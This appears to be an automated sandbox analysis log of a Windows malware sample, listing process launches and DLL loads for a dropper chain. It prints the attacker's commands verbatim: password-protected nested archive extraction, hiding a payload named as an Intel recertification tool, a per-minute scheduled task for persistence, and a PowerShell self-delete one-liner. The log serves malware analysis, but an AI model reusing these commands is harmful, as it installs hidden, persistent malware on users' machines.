                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mode.com mode 65,10
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                              Source: C:\Windows\System32\attrib.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
                              Source: C:\Windows\System32\attrib.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
                              Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
                              Source: unknownProcess created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe explorer.exe
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe "C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe"
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe "C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe"
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeProcess created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe"
                              Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe "C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe"
                              Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeProcess created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe "C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe"
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeProcess created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe "C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe"
                              Source: unknownProcess created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
                              Source: unknownProcess created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe explorer.exe
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe "C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe"
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe "C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe "C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe "C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe "C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe "C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe "C:\Users\user\AppData\Local\Temp\1019320001\4cdf81e042.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeProcess created: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe "C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"Jump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mode.com mode 65,10Jump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextractedJump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +H "in.exe"Jump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTEJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exeJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe explorer.exe
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeProcess created: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe"
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeProcess created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeProcess created: C:\Program Files\Windows Media Player\graph\graph.exe "C:\Program Files\Windows Media Player\graph\graph.exe"
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\explorer.exe explorer.exe
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
                              Source: C:\Users\user\Desktop\file.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: winmm.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: wininet.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: mstask.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: mpr.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: dui70.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: duser.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: chartv.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: oleacc.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: atlthunk.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: textinputframework.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: coreuicomponents.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: coremessaging.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: ntmarta.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: wtsapi32.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: winsta.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: textshaping.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: propsys.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: explorerframe.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: urlmon.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: appresolver.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: bcp47langs.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: slc.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: sppc.dllJump to behavior
                              Source: C:\Users\user\Desktop\file.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: winmm.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: wininet.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: winmm.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: wininet.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: winhttp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: mswsock.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: iphlpapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: winnsi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: urlmon.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: propsys.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: appresolver.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: bcp47langs.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: slc.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: sppc.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: propsys.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: urlmon.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: appresolver.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: bcp47langs.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: slc.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: sppc.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                              Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                              Source: C:\Windows\System32\cmd.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Windows\System32\mode.comSection loaded: ulib.dllJump to behavior
                              Source: C:\Windows\System32\mode.comSection loaded: ureg.dllJump to behavior
                              Source: C:\Windows\System32\mode.comSection loaded: fsutilext.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Windows\System32\attrib.exeSection loaded: ulib.dllJump to behavior
                              Source: C:\Windows\System32\attrib.exeSection loaded: fsutilext.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\main\in.exeSection loaded: ntmarta.dllJump to behavior
                              Source: C:\Windows\System32\attrib.exeSection loaded: ulib.dllJump to behavior
                              Source: C:\Windows\System32\attrib.exeSection loaded: fsutilext.dllJump to behavior
                              Source: C:\Windows\System32\attrib.exeSection loaded: ulib.dllJump to behavior
                              Source: C:\Windows\System32\attrib.exeSection loaded: fsutilext.dllJump to behavior
                              Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
                              Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\PING.EXESection loaded: iphlpapi.dll
                              Source: C:\Windows\System32\PING.EXESection loaded: winnsi.dll
                              Source: C:\Windows\System32\PING.EXESection loaded: mswsock.dll
                              Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exeSection loaded: apphelp.dll
                              Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dll
                              Source: C:\Windows\explorer.exeSection loaded: userenv.dll
                              Source: C:\Windows\explorer.exeSection loaded: msvcp140.dll
                              Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dll
                              Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dll
                              Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dll
                              Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dll
                              Source: C:\Windows\explorer.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\explorer.exeSection loaded: wininet.dll
                              Source: C:\Windows\explorer.exeSection loaded: powrprof.dll
                              Source: C:\Windows\explorer.exeSection loaded: umpdc.dll
